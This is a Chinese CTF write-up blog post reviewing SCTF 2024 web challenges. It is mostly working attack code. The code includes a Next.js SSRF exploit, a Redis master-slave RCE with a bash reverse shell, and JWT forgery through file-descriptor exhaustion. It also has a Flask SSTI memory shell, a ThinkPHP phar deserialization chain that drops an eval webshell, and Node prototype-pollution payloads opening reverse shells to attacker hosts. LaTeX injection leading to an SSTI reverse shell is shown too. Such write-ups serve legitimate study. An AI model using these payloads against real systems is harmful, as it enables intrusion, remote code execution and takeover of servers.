SCTF-WEB-Learning

前言

有点小可惜吧,因为就差两道我们天枢就第一了。

还是自己能力不够,而且也没能力拿到证书,问心有愧,如果拿到xctf今年离大满贯又进一步吧。

但由于我们不是第一,所以分站赛还有的打,继续加油吧。

同时藉此复现一手思路,备战下旬网鼎杯(玛德网鼎杯怎么天枢老怪物全都出山了。。。。哈人)

ezjump

基本和学长从头看到尾的一道题,最后redis太搞了,slaveof的时候服务器删号你就打不进去,Octane通宵翻redis文档用CLIENT PAUSE改so文件打的,太超人了。

我本地docker打的时候,死活注册不上,也不知道什么原因,远程就没问题。

前面是一个CVE-2024-34351的nextjs漏洞:

CVE-2024-34351 漏洞复现-CSDN博客

【网络安全】「漏洞复现」(五)从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害-腾讯云开发者社区-腾讯云 (tencent.com)

而且dockerfile能看到后端网卡,报文直接打SSRF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /success HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/x-component
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.193.141:3000/success
Next-Action: b421a453a66309ec62a2d2049d51250ee55f10fd
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22success%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=---------------------------332929687741145380582296740589
Content-Length: 336
Origin: http://vps:port
Connection: close
Priority: u=0

-----------------------------332929687741145380582296740589
Content-Disposition: form-data; name="1_$ACTION_ID_b421a453a66309ec62a2d2049d51250ee55f10fd"


-----------------------------332929687741145380582296740589
Content-Disposition: form-data; name="0"

["$K1"]
-----------------------------332929687741145380582296740589--

vps上起一个重定向服务:[SCTF2024 Web&Misc 复现 | 0pium’s Blog (hack3r0pium.github.io)](https://hack3r0pium.github.io/hack3r0pium/2024/09/21/SCTF2024-Web&Misc-复现/index.html#:~:text=Web ezju)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask, request, Response, redirect

app = Flask(__name__)

@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
ssrfUrl = 'http://172.11.0.3:5000/'
return redirect(ssrfUrl)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1717, debug=True)

image-20241005232229481

waf这里是一个字符串逃逸,也很简单有现成脚本,打下CRLF就可以了。

然后app.py有个curl,虽然把gopher给ban了,但是大小写可绕,给赵哥整红温了,我们搁这dict://半天。。。。。。

然后直接打一个主从就ok了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, request, Response, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
payload="\r\n$3\r\npun\r\n"#闭合set命令
#按照下面的命令逐一来
payload+="config set dir /tmp\r\n"
# payload+="config set dbfilename exp.so\r\n"
# payload+="slaveof vps 恶意redis的port也就是工具中的port\r\n"
# payload+="module load /tmp/exp.so"
payload+="system.exec 'bash -c \"bash -i >& /dev/tcp/vps/反弹shell的port 0>&1\"'\r\n"
exp="admin"*len(payload)+payload
ssrfUrl = f'http://172.11.0.3:5000/login?username={quote(exp)}&&password=1'
return redirect(ssrfUrl)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1717, debug=True)

或者用能直接system.rev的so文件。难绷的是打一次就要改一次文件重新放服务然后重新发包,挺繁琐的。折磨我们半天的掉线问题还真就出在so文件上。

image-20241005232541594

ezRender

以前没见过,但是队里赛棍学长见过。

还真就是打ulimit。

他生成jwt用到了/dev/random和时间戳,这里hint给了ulimit -n = 2048

说人话就是同时允许最大打开2048个文件描述符(文件、套接字等),如果进程到了限制就会报错。

那么我注册2048个账号后,他这个/dev/ramdom就会因为这个限制打不开了,所以jwt的密钥就剩下10位的时间戳了。

借用SCTF 2024 Writeup - 星盟安全团队 (xmcve.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /register HTTP/1.1
Host: 124.220.229.60:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://124.220.229.60:8080/register
Content-Type: application/json
Content-Length: 42
Origin: http://124.220.229.60:8080
Connection: close
Priority: u=0

{"username":"admin§1§","password":"admin123"}

发包2048个以上。

time_string 为admin2060时服务器返回的时间戳

构造一手token:

1
2
3
4
5
6
7
8
9
10
11
import time
from datetime import datetime

# 指定时间字符串
time_string = "Sun, 29 Sep 2024 06:03:45 GMT"

# 转换为时间戳
timestamp = int(time.mktime(time.strptime(time_string, "%a, %d %b %Y %H:%M:%S %Z")))

# 打印时间戳
print(timestamp)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import json
import hashlib
import base64
import jwt
from app import *
from User import *

def generateToken(user):
secret={"name":user,"is_admin":"1"}

verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
infor={"name":user,"secret":verify_c}
token=base64.b64encode(json.dumps(infor).encode()).decode()
print(infor)
print(token)


secret_key="1727589825"
generateToken('admin2060')

然后换掉cookie,删除部分用户使存在用户少于2048个,服务正常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /removeUser HTTP/1.1
Host: 1.95.40.5:29351
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Cookie: Token=eyJuYW1lIjogImFkbWluMjA2MCIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaVlXUnRhVzR5TURZd0lpd2lhWE5mWVdSdGFXNGlPaUl4SW4wLi1maGFqQ1M4S1RfMDY2YWlxSmhqNGxHcHdVdWRMbFprMnh1SlFxUld2Q0kifQ==
Referer: http://124.220.229.60:8080/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://124.220.229.60:8080
Connection: close
Priority: u=0

username=admin§1§

code传参直接打入flask内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin HTTP/1.1
Host: 1.95.40.5:29351
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://124.220.229.60:8080/register
Cookie: Token=eyJuYW1lIjogImFkbWluMjA2MCIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaVlXUnRhVzR5TURZd0lpd2lhWE5mWVdSdGFXNGlPaUl4SW4wLi1maGFqQ1M4S1RfMDY2YWlxSmhqNGxHcHdVdWRMbFprMnh1SlFxUld2Q0kifQ==
Content-Type: application/x-www-form-urlencoded
Content-Length: 323
Origin: http://124.220.229.60:8080
Connection: close
Priority: u=0

code={{(g.pop.__globals__.__builtins__.__getitem__('EXEC'.lower()))("import+base64;ex"%2b"ec(base64.b64decode('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCkp'));")}}

image-20241005233349472

Simpleshop

看了一半没看到。

看了他的letter,注册了个号,修改头像处存在文件上传,但是直接传不行,ban完了。

下载源码发现ThinkPHP框架,并且找到个未公开的CVE打这个CRMEB的反序列化,挖洞没跑了。

想办法打phar吧。

漏洞点在CRMEB-5.4.0\CRMEB-5.4.0\crmeb\app\adminapi\controllerPublicController类中。

网上找ThinkPHP的反序列化链,有现成的,直接套过来用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

namespace PhpOffice\PhpSpreadsheet\Collection{
class Cells{
private $cache;
public function __construct($exp){
$this->cache = $exp;
}
}
}

namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;

public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}

namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20240929/fpclose.php", \'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}

namespace think\view\driver{
class Php{}
}

namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){

$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
}

namespace {
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);


ini_set("phar.readonly", 0);
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("fpclose.jpg", "666");
$phar->stopBuffering();

}

phar://被ban了,这个看了源码发现其实是直接被替换为空,双写就能绕过。

文件直接套一个gzip来绕上传内容检测。先改名1.jpg然后gzip 1.jpg。

image-20241005233834211

蚁剑直连,用一下fpm插件绕过disable_functions。

image-20241005233935015

然后里面一个suid-grep提权交了。

这里翻网上wp发现星盟还真nb,写了个跳板php,然后打iconv来getshell:

1
2
3
<?php @mkdir('img');chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
$data = file_get_contents($_POST['file']);
echo "File contents: $data";

image-20241005234147752

这也能想到啊,我草。

学到一个新的绕disable_functions方法了。

SycServer2.0

怪题,出晚了。

前端绕过很简单,js的waf形同虚设,删了直接sql万能密码进了,拿cookie。

robots.txt发现一个玩意:

1
2
3
User-agent: *
Disallow:
Disallow: /ExP0rtApi?v=static&f=1.jpeg

猜测这是一个读取文件的接口,结果还真是,替换../为空,双写绕了。

然后就可以读到app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

const con = mysql.createConnection({
host: 'localhost',
user: 'ctf',
password: 'ctf123123',
port: '3306',
database: 'sctf'
})
con.connect((err) => {
if (err) {
console.error('Error connecting to MySQL:', err.message);
setTimeout(con.connect(), 2000); // 2秒后重试连接
} else {
console.log('Connected to MySQL');
}
});

const {response} = require("express");
const req = require("express/lib/request");

var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

var Reportcache = {}

function verifyAdmin(req, res, next) {
const token = req.cookies['auth_token'];

if (!token) {
return res.status(403).json({ message: 'No token provided' });
}

jwt.verify(token, SECRET_KEY, (err, decoded) => {
if (err) {
return res.status(403).json({ message: 'Failed to authenticate token' });
}

if (decoded.role !== 'admin') {
return res.status(403).json({ message: 'Access denied. Admins only.' });
}

req.user = decoded;
next();
});
}

app.get('/hello', verifyAdmin ,(req, res)=> {
res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
res.json({
publicKey: publicPem,
});
});

var decrypt = function(body) {
try {
var pem = privatePem;
var key = new nodeRsa(pem, {
encryptionScheme: 'pkcs1',
b: 1024
});
key.setOptions({ environment: "browser" });
return key.decrypt(body, 'utf8');
} catch (e) {
console.error("decrypt error", e);
return false;
}
};

app.post('/login', (req, res) => {
const encryptedPassword = req.body.password;
const username = req.body.username;

try {
passwd = decrypt(encryptedPassword)
if(username === 'admin') {
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
con.query(sql, (err, rows) => {
if (err) throw new Error(err.message);
if (rows[0][Object.keys(rows[0])]) {
const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
res.cookie('auth_token', token, {secure: false});
res.status(200).json({success: true, message: 'Login Successfully'});
} else {
res.status(200).json({success: false, message: 'Errow Password!'});
}
});
} else {
res.status(403).json({success: false, message: 'This Website Only Open for admin'});
}
} catch (error) {
res.status(500).json({ success: false, message: 'Error decrypting password!' });
}
});

app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
var rootpath = req.query.v;
var file = req.query.f;

file = file.replace(/\.\.\//g, '');
rootpath = rootpath.replace(/\.\.\//g, '');

if(rootpath === ''){
if(file === ''){
return res.status(500).send('try to find parameters HaHa');
} else {
rootpath = "static"
}
}

const filePath = path.join(__dirname, rootpath + "/" + file);

if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found');
}
fs.readFile(filePath, (err, fileData) => {
if (err) {
console.error('Error reading file:', err);
return res.status(500).send('Error reading file');
}

zlib.gzip(fileData, (err, compressedData) => {
if (err) {
console.error('Error compressing file:', err);
return res.status(500).send('Error compressing file');
}
const base64Data = compressedData.toString('base64');
res.send(base64Data);
});
});
});

app.get("/report", verifyAdmin ,(req, res) => {
res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});

app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});

//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

刚开始猜测是打原型链污染child_progress,但是读到这个Node最新版本算是,没辙。

本地起一个这个玩意还报错了handle找不到,猜测他还有handle里的东西,结果真有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// /app/handle/index.js

var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');

new ritm.Hook(
['child_process'],
function (module, name) {
switch (name) {
case 'child_process': {
return patchChildProcess(module);
}
}
}
);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// /app/handle/child_process.js
function patchChildProcess(cp) {

cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });

return cp;
}

function patchOptions(hasArgs) {
return function apply(target, thisArg, args) {
var pos = 1;
if (pos === args.length) {
args[pos] = prototypelessSpawnOpts();
} else if (pos < args.length) {
if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
pos++;
}
if (typeof args[pos] === 'object' && args[pos] !== null) {
args[pos] = prototypelessSpawnOpts(args[pos]);
} else if (args[pos] == null) {
args[pos] = prototypelessSpawnOpts();
} else if (typeof args[pos] === 'function') {
args.splice(pos, 0, prototypelessSpawnOpts());
}
}

return target.apply(thisArg, args);
};
}

function prototypelessSpawnOpts(obj) {
var prototypelessObj = Object.assign(Object.create(null), obj);
prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
return prototypelessObj;
}

module.exports = patchChildProcess;

用的环境变量劫持,pp2rce,直接修改shell变量,由于它本地有个/readflag所以能直接读了。又学到了啊:

https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

学长这么打的:

1
2
3
4
5
6
7
8
9
10
{
"user":"__proto__",
"date":"2",
"reportmessage":{"shell":"/bin/bash",
"argv0":"/bin/bash",
"env":{
"BASH_FUNC_whoami%%":"() { /readflag > /tmp/123; }"}}
},cookies={
"auth_token":admin_cookie
}

星盟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"user":"__proto__",
"date":2,
"reportmessage":
{
"shell":"/readflag",
"env":
{
"NODE_DEBUG": "require(\"child_process\").exec(\"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'\");process.exit()//",
"NODE_OPTIONS": "--require /proc/self/environ"

}
}
}

W&M:

1
2
3
4
5
def add_report(username,date,report):
resp = rs.post(remote_addr+"/report",json={"user":username,"date":date,"reportmessage":report})
assert 'Report Success' in resp.text

add_report("__proto__",2,{"shell":"/proc/self/exe","argv0":"console.log(require('child_process').execSync('bash -c \"/bin/sh -i >& /dev/tcp/123.45.6.7/9999 0>&1\"').toString())//","env":{"NODE_OPTIONS":"--require /proc/self/cmdline"}})

ez_tex

没打出来,有点遗憾。W&M还是太猛了。

LaTex Injection绕所有黑名单:

[PayloadsAllTheThings/LaTeX Injection/README.md at master · swisskyrepo/PayloadsAllTheThings (github.com)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LaTeX Injection/README.md)

image-20241006000009619

提示/log,有个app.log不知道咋用。想想怎么带出数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
\documentclass[]{article}
\begin{document}

\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}

读到main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import os 
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename

app = Flask(__name__)

if not app.debug:
handler = logging.FileHandler('app.log')
handler.setLevel(logging.INFO)
app.logger.addHandler(handler)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

os.makedirs(UPLOAD_FOLDER, exist_ok=True)

ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def compile_tex(file_path):
output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
try:
subprocess.check_call(['pdflatex', file_path])
return output_filename
except subprocess.CalledProcessError as e:
return str(e)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)

if file and allowed_file(file.filename):
content = file.read()
try:
content_str = content.decode('utf-8')
except UnicodeDecodeError:
return 'File content is not decodable'
for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']:
if bad_char in content_str:
return 'File content is not safe'
file.seek(0)
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
return 'File uploaded successfully, And you can compile the tex file'
else:
return 'Invalid file type or name'


@app.route('/compile', methods=['GET'])
def compile():
filename = request.args.get('filename')

if not filename:
return 'No filename provided', 400

if len(filename) >= 7:
return 'Invalid file name length', 400

if not filename.endswith('.tex'):
return 'Invalid file type', 400

file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
print(file_path)
if not os.path.isfile(file_path):
return 'File not found', 404

output_pdf = compile_tex(file_path)
if output_pdf.endswith('.pdf'):
return "Compilation succeeded"
else:
return 'Compilation failed', 500

@app.route('/log')
def log():
try:
with open('app.log', 'r') as log_file:
log_contents = log_file.read()
return render_template('log.html', log_contents=log_contents)
except FileNotFoundError:
return 'Log file not found', 404

if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, debug=False)

直接ssti就出了。但是要重开靶机在第一次访问/log之前写:

1
2
3
4
5
6
7
8
9
\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f1.1.1.1^^2f9999 0>&1"').read()}}}
\closeout\t
\newpage
foo
\end{document}

反弹shell进去后没权限,它还给了个ssh,预期解是通过/flag得知jerrywww用户名,然后爆破出弱密码P@ssw0rd,难绷。

W&M打了个非预期:/usr/bin/python3.11 cap_setuid=ep

image-20241006000438952

牛子。

havefun

ruby反序列化都来了我草。后面研究研究。

(未完待续…)

参考:

SCTF 2024 By W&M - W&M Team (wm-team.cn)

[SCTF2024 Web&Misc 复现 | 0pium’s Blog (hack3r0pium.github.io)](https://hack3r0pium.github.io/hack3r0pium/2024/09/21/SCTF2024-Web&Misc-复现/index.html#:~:text=Web ezju)

SCTF 2024 Writeup - 星盟安全团队 (xmcve.com)


SCTF-WEB-Learning
https://eddiemurphy89.github.io/2024/10/05/sctf-web-learning/
作者
EddieMurphy
发布于
2024年10月5日
许可协议